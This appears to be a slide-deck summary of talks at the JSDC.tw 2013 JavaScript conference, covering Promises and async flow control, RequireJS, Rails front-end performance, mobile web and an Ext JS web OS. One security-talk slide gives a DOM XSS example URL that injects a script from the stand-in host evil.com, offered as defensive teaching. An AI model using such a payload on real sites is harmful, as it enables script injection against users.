JSDC.tw 2013 Summary

1. JSDC.tw 2013 Summary GAIS LAB group Meeting 05/29 alan7

2. JSDC +

3. JavaScript.tw • HTML5&CSS5 • Node.js 所有懶人包: http://goo.gl/bvvFb

4. Conference in 2013 http://goo.gl/UJmZ0

5. About conference • General Topic • usually from most important provider • For all • Specify Topic • Run on the same time • Select the Issue which you’d like

6. All Topic (day 1) • 1.KeyNote :The evolution of JavaScript & Public Cloud - Joe Ziegler / Amazon Web Services • 2-1.The seven year itch with ExtJS - Calvin Yeh / Pastico • 2-2.从前端到终端 — 跨越平台的前端技术 -王文明 / 奇虎360 • 2-3.Easier async -flow control 的原理、應用、實作及展望 -馮旭平 / 吉立富資訊 • 3-1.Node.js 佈署常見問題 - Steven XP / Fandora • 3-2.JavaScript 開發實戰：效能調校與常見陷阱 - Will 保哥 / 多奇數位創意 • 3-3.RequireJs - Using AMD to fight the good,the bad and the ugly of JavaScript. - David Shariff / Richi • 4-1.我編譯故我在：誰說 Node.js 程式不能編成 Binary - Fred Chien / Mandice • 4-2.愛料理網站前端開發經驗談 - Lawrence Lin / Polydice • 4-3.為什麼你還是應該使用 Rails 開發：前端加速以及前端開發管理 - xdite / RocoDev • 5-1.如何教設計師前端技術 - EvenWu / evendesign • 5-2.前端工程師的資安挑戰 – Ant • 5-3. OMG！Mobile Web can do that？ - Sean / youmeb

7. Easier async -flow control • Javascript怎麼執行非同步程式？ • Callback，或是稱作Continuation-passing Style (CPS) • 從函數的參數，接收一個外部的函數或物件 • 在函數執行完畢時，不返回執行結果，而呼叫外部函數或物件的方法，把執行結果傳遞給它(continuation passing)

8. Easier async -flow control • Why Using flow control • 需要CPS又需要循序執行 • Ex. 跟server要數字A去跟B計算再跟server要C去算出結果 • 嵌套 • 不易閱讀、維護、編輯

9. Easier async -flow control • How? • 內部無法判定 交由函數外部 • http://jsfiddle.net/bwT6r/ • 循序執行範例 http://jsfiddle.net/X7EL9/ • 把結果往後傳之範例 http://jsfiddle.net/SqAsZ/ • 其實也有很多lib可供直接使用 • 推薦的:https://github.com/caolan/async/ • 很多流程控制函數parallel、serial、waterfall • 提供一些非同步工具 • 沒有標準做法，所以市面上有幾十種類似的工具，各有優缺點

10. Easier async -flow control • 另外一個方法：Promise • 相關:Future、Deferred、Promise，都是類似的概念 • 不需要使用CPS，改用Promise物件來維護、傳遞執行狀態 • Promise物件只有三種狀態： • 初始的unfulfill狀態 • 代表執行成功的fulfill狀態（resolved） • 代表執行失敗的fail狀態（rejected） • Promise物件有一個then方法： • p.then(success_func, fail_func) • then方法的執行結果也是一個Promise，所以可以串接下去

11. Easier async -flow control • Promise的一些優點 • 使用起來很簡單明瞭，基本上只需要知道： • 狀態只會從unfulfill轉變成fulfill或是fail，一旦變成fulfill或是fail，就不會變動 • 基本上Promise/A只定義一個操作介面，就是then • then中指定的函數不需要額外的Callback，只需要返回執行結果。再加個then就可以繼續串接執行下去，這樣比CPS還要直覺 • 它會考慮到error handling，所有發生的exception都會被處理 • Promise開始形成標準，未來甚至可能成為Javascript內建的物件

12. Easier async -flow control • Promise的一些缺點 • 目前已經有一些Promise/A+標準的實作，包括jQuery1.5+、WinJS for win8 app、Q等，但是各家實作差異其實也還不小 • WinJS.Promise物件與 jQuery Deferred 物件比較 by vexed • http://ithelp.ithome.com.tw/question/10118894

13. Easier async -flow control • JQuery Deferred 範例

14. Easier async -flow control • Promise 注意事項 • 如果自己控制Promise，尤其是一群Promise陣列，一定要讓所有的Promise物件狀態走到fulfill或是fail，否則程式就停住不前進了 • 可以在then中的函數裡面使用Promise來控制流程，不過有些流程是可以抽到外面來的，並不需要放在內層

15. All Topic (day 1) • 1.KeyNote :The evolution of JavaScript & Public Cloud - Joe Ziegler / Amazon Web Services • 2-1.The seven year itch with ExtJS - Calvin Yeh / Pastico • 2-2.从前端到终端 — 跨越平台的前端技术 -王文明 / 奇虎360 • 2-3.Easier async -flow control 的原理、應用、實作及展望 -馮旭平 / 吉立富資訊 • 3-1.Node.js 佈署常見問題 - Steven XP / Fandora • 3-2.JavaScript 開發實戰：效能調校與常見陷阱 - Will 保哥 / 多奇數位創意 • 3-3.RequireJs - Using AMD to fight the good,the bad and the ugly of JavaScript. - David Shariff / Richi • 4-1.我編譯故我在：誰說 Node.js 程式不能編成 Binary - Fred Chien / Mandice • 4-2.愛料理網站前端開發經驗談 - Lawrence Lin / Polydice • 4-3.為什麼你還是應該使用 Rails 開發：前端加速以及前端開發管理 - xdite / RocoDev • 5-1.如何教設計師前端技術 - EvenWu / evendesign • 5-2.前端工程師的資安挑戰 – Ant • 5-3. OMG！Mobile Web can do that？ - Sean / youmeb

16. RequireJs - Using AMD • Asynchronous Module Definition • Modules are encapsulated and sandboxed. • Create and reuse code from different products. • No cross domain loading issues, can load modules without a build process or server-side tool. • Structured, clean codebase. • Asyncloading, managed dependencies. • Lazy load modules (stuff not used by the user yet can be loaded in background when needed on demand). • Not a technology, but a specification proposal.

17. RequireJs - Using AMD • Module vs. Frameworks • Frameworks suck? • You don't tell the framework what to do, it tells you. • Huge, complicated structure that is not relevant to your application. • Modules Rock? • Single purpose responsibility. • Sandboxed. • Reusable, maintainable, scaleable, distributable. • Abstract interface with well defined import & export.

18. RequireJs - Using AMD • AMD IMPLEMENTATION

19. RequireJs - Using AMD • Two important concepts • DEFINE() VS REQUIRE() • Lazy evaluation of code contained inside module, only executed when it's needed. • Once executed, subsequent calls are cached, no need to fetch the module again. • One module per file. • When you only need to use modules, not create them. • Dependencies that can not be evaluated until runtime or only loaded when a specific event occurs.

20. RequireJs - Using AMD • Can inheritance

21. RequireJs - Using AMD • Setting • baseURL • waitSeconds • urlArgs • Config • PATH • MAP • Can be a project • Packages • Multiversion

22. All Topic (day 1) • 1.KeyNote :The evolution of JavaScript & Public Cloud - Joe Ziegler / Amazon Web Services • 2-1.The seven year itch with ExtJS - Calvin Yeh / Pastico • 2-2.从前端到终端 — 跨越平台的前端技术 -王文明 / 奇虎360 • 2-3.Easier async -flow control 的原理、應用、實作及展望 -馮旭平 / 吉立富資訊 • 3-1.Node.js 佈署常見問題 - Steven XP / Fandora • 3-2.JavaScript 開發實戰：效能調校與常見陷阱 - Will 保哥 / 多奇數位創意 • 3-3.RequireJs - Using AMD to fight the good,the bad and the ugly of JavaScript. - David Shariff / Richi • 4-1.我編譯故我在：誰說 Node.js 程式不能編成 Binary - Fred Chien / Mandice • 4-2.愛料理網站前端開發經驗談 - Lawrence Lin / Polydice • 4-3.為什麼你還是應該使用 Rails 開發：前端加速以及前端開發管理 - xdite / RocoDev • 5-1.如何教設計師前端技術 - EvenWu / evendesign • 5-2.前端工程師的資安挑戰 – Ant • 5-3. OMG！Mobile Web can do that？ - Sean / youmeb

23. 為什麼你還是應該使用 Rails 開發：前端加速以及前端開發管理 • 「網頁產生速度」

24. 為什麼你還是應該使用 Rails 開發：前端加速以及前端開發管理 • Scaling Websites • Front-end speed (7s -> 1s) • SQL Query speed (500ms -> 50ms) • Method speed (50ms -> 10ms) • Programing Language speed (5ms -> 2ms) • Webpage 產生速度 = SQL Query speed + Method speed + Programing Language speed

25. 為什麼你還是應該使用 Rails 開發：前端加速以及前端開發管理

26. 為什麼你還是應該使用 Rails 開發：前端加速以及前端開發管理 • Easy to apply Parallel Download • The HTTP/1.1 specification suggests that browsers download no more than 2 components in parallel per hostname. • If you serve your images from multiple hostnames, you can get more than two downloads to occur in parallel. 4 支 CSS 開 8 秒 => 4 支開2 秒

27. 為什麼你還是應該使用 Rails 開發：前端加速以及前端開發管理 • As same to implement CDN (Content Distribution Network) • Invalid Problem? timestamp

28. 為什麼你還是應該使用 Rails 開發：前端加速以及前端開發管理 • minimal HTTP Request

29. 為什麼你還是應該使用 Rails 開發：前端加速以及前端開發管理 •  CSS Sprite • Powered by SCSS & Compass

30. 為什麼你還是應該使用 Rails 開發：前端加速以及前端開發管理 • ETag • provides for web cache validation • allows a client to make conditional requests • saves bandwidth

31. All Topic (day 1) • 1.KeyNote :The evolution of JavaScript & Public Cloud - Joe Ziegler / Amazon Web Services • 2-1.The seven year itch with ExtJS - Calvin Yeh / Pastico • 2-2.从前端到终端 — 跨越平台的前端技术 -王文明 / 奇虎360 • 2-3.Easier async -flow control 的原理、應用、實作及展望 -馮旭平 / 吉立富資訊 • 3-1.Node.js 佈署常見問題 - Steven XP / Fandora • 3-2.JavaScript 開發實戰：效能調校與常見陷阱 - Will 保哥 / 多奇數位創意 • 3-3.RequireJs - Using AMD to fight the good,the bad and the ugly of JavaScript. - David Shariff / Richi • 4-1.我編譯故我在：誰說 Node.js 程式不能編成 Binary - Fred Chien / Mandice • 4-2.愛料理網站前端開發經驗談 - Lawrence Lin / Polydice • 4-3.為什麼你還是應該使用 Rails 開發：前端加速以及前端開發管理 - xdite / RocoDev • 5-1.如何教設計師前端技術 - EvenWu / evendesign • 5-2.前端工程師的資安挑戰 – Ant • 5-3. OMG！Mobile Web can do that？ - Sean / youmeb

32. 前端工程師的資安挑戰 • OWASP Top Ten 「網站應用程式十大弱點」 • 網頁安全 • 每三年改版一次 • Injection (2ndSQL Injection) • Broken Authentication Session Management • Cross-Site Scripting (XSS) • Insecure Direct Object Reference • Security Misconfiguration • Sensitive Data Exposure • Missing Function Level Access Control • Cross-site Request Forgery (CSRF) • Using Known Vulnerable Components • Unvalidated Redirects and Forwards

33. 前端工程師的資安挑戰 • DOM XSS • 問題直接在client發生，利用類似如下 http://evil.com/#name #name並不會被送到server端而是直接在local 執行所以會有下面這種狀況 http://evil.com/#name<script src=http://evil.com/a.js></script> • 更進階的應用，直接弄成短網址根本看不出來

34. 前端工程師的資安挑戰 • CSRF • A. 不要用HTTPGET而是HTTPPOST • B. Referer 檢查 (還是有辦法偽造) • C. Double Cookies • D. Form token/random token (很足夠去抵擋攻擊，但還是有機會被破 ) • ClickJacking

35. 前端工程師的資安挑戰 • 引用他站的js? (like CDN) <script src=“http://cdn.com/t.js”></script> • CDN爆了… 你也爆了 • 暗黑執行緒的大大說 若google被打下來 也就認了

36. 前端工程師的資安挑戰 • 我不是大大之ㄧ些開發準則分享 • Filter input • Escape output • One time token • 不要相信任何客戶端的驗證 • Ex.前端網頁的maxlength、filter/vaildation、SQL

37. All Topic (day 1) • 6-1.中文網路字型 justfont實作過程 - Michael / justfont • 6-2.做更快一點 工程師討生活工具介紹 - UP Chen / Nvesto • 6-3.關於 Mobile Web 開發二三事 - Eric Chuang / Yahoo • 7-1.支援遊戲及互動應用的雲 -胡舜元 / 中央研究院資訊所多媒體網路與系統實驗室 • 7-2. Building a Web OS based on Ext JS - Rex Huang / Synology • 7-3. Begin Three.js -廖一帆 / The ManX • 8-1.樸實與浮華 (Plain and Vanity) / (Usability & Performance) - Paul Li/ Yahoo • 8-2.用 Node.JS 開發 KKBOX 一起聽 - Butany Chuang / KKBOX • 9-1. Optimizing Your Mobile Web Apps - Kuro Hsu • 9-2. Defensive backend programming with node.js - Ruben Tan / OnApp CDN SdnBhd • 10. Lightning talks • Zhusee –  Bumbler to speech 以 JS 實作簡易 audio sprites • 小B – 從 Rails 到 Node + Backbone TouchLimit的累死人砍掉重練 • Irvin – 噗浪最近有點胖 • YuTin – 從專案開發談終身大事 • Fred – Stem OS – JavaScript OS • Blue – g0v & listening me

38. 關於 Mobile Web 開發二三事 • Mobile Web vs. Mobile App

39. 關於 Mobile Web 開發二三事 • 挑戰的複雜度: • 手機 x 瀏覽器 x OS版本 …. • 降低Page Load的時間 • 減少HTTP request的數量 • 減少頁面大小 • 縮圖在伺服器上做 • 後端要夠力 • 後面就是lib的介紹

40. All Topic (day 1) • 6-1.中文網路字型 justfont實作過程 - Michael / justfont • 6-2.做更快一點 工程師討生活工具介紹 - UP Chen / Nvesto • 6-3.關於 Mobile Web 開發二三事 - Eric Chuang / Yahoo • 7-1.支援遊戲及互動應用的雲 -胡舜元 / 中央研究院資訊所多媒體網路與系統實驗室 • 7-2. Building a Web OS based on Ext JS - Rex Huang / Synology • 7-3. Begin Three.js -廖一帆 / The ManX • 8-1.樸實與浮華 (Plain and Vanity) / (Usability & Performance) - Paul Li/ Yahoo • 8-2.用 Node.JS 開發 KKBOX 一起聽 - Butany Chuang / KKBOX • 9-1. Optimizing Your Mobile Web Apps - Kuro Hsu • 9-2. Defensive backend programming with node.js - Ruben Tan / OnApp CDN SdnBhd • 10. Lightning talks • Zhusee –  Bumbler to speech 以 JS 實作簡易 audio sprites • 小B – 從 Rails 到 Node + Backbone TouchLimit的累死人砍掉重練 • Irvin – 噗浪最近有點胖 • YuTin – 從專案開發談終身大事 • Fred – Stem OS – JavaScript OS • Blue – g0v & listening me

41. Building a Web OS based on Ext JS • Better User experience • Framework • JavaScript Loading • Object-Oriented Design • Window Management

42. Building a Web OS based on Ext JS

43. Building a Web OS based on Ext JS • Ext JS • JavaScript framework for rich desktop apps • Cross-browser compatibility • Rich modern UI widgets

44. Building a Web OS based on Ext JS Inline scripts(<script src=“synology.js”>) blocks HTML rendering blocks parallel downloading(images/iframes)

45. Building a Web OS based on Ext JS • AsyncLoading • Add defer attribute <script src=“synology.js” defer ></script> • Add async attribute <script src=“synology.js” async ></script>

46. Building a Web OS based on Ext JS • Object-Oriented Design • Ext JS Class System • For example

47. Building a Web OS based on Ext JS • DOM cloneNode varnode = document.getElementById ("node"); varclonedNode = node.cloneNode (true); // clear the id property of the cloned table clonedNode.id = ""; varpreviewBox = document.getElementById("previewBox"); previewBox.appendChild (clonedNode)

48. Building a Web OS based on Ext JS • CSS Transform: scale • transform: scale(x,y); • ms-transform: scale(x,y); • webkit-transform: scale(x,y); • moz-transform: scale(x,y);

49. Building a Web OS based on Ext JS • Window Management ?

50. Building a Web OS based on Ext JS • The manager manages communication between modules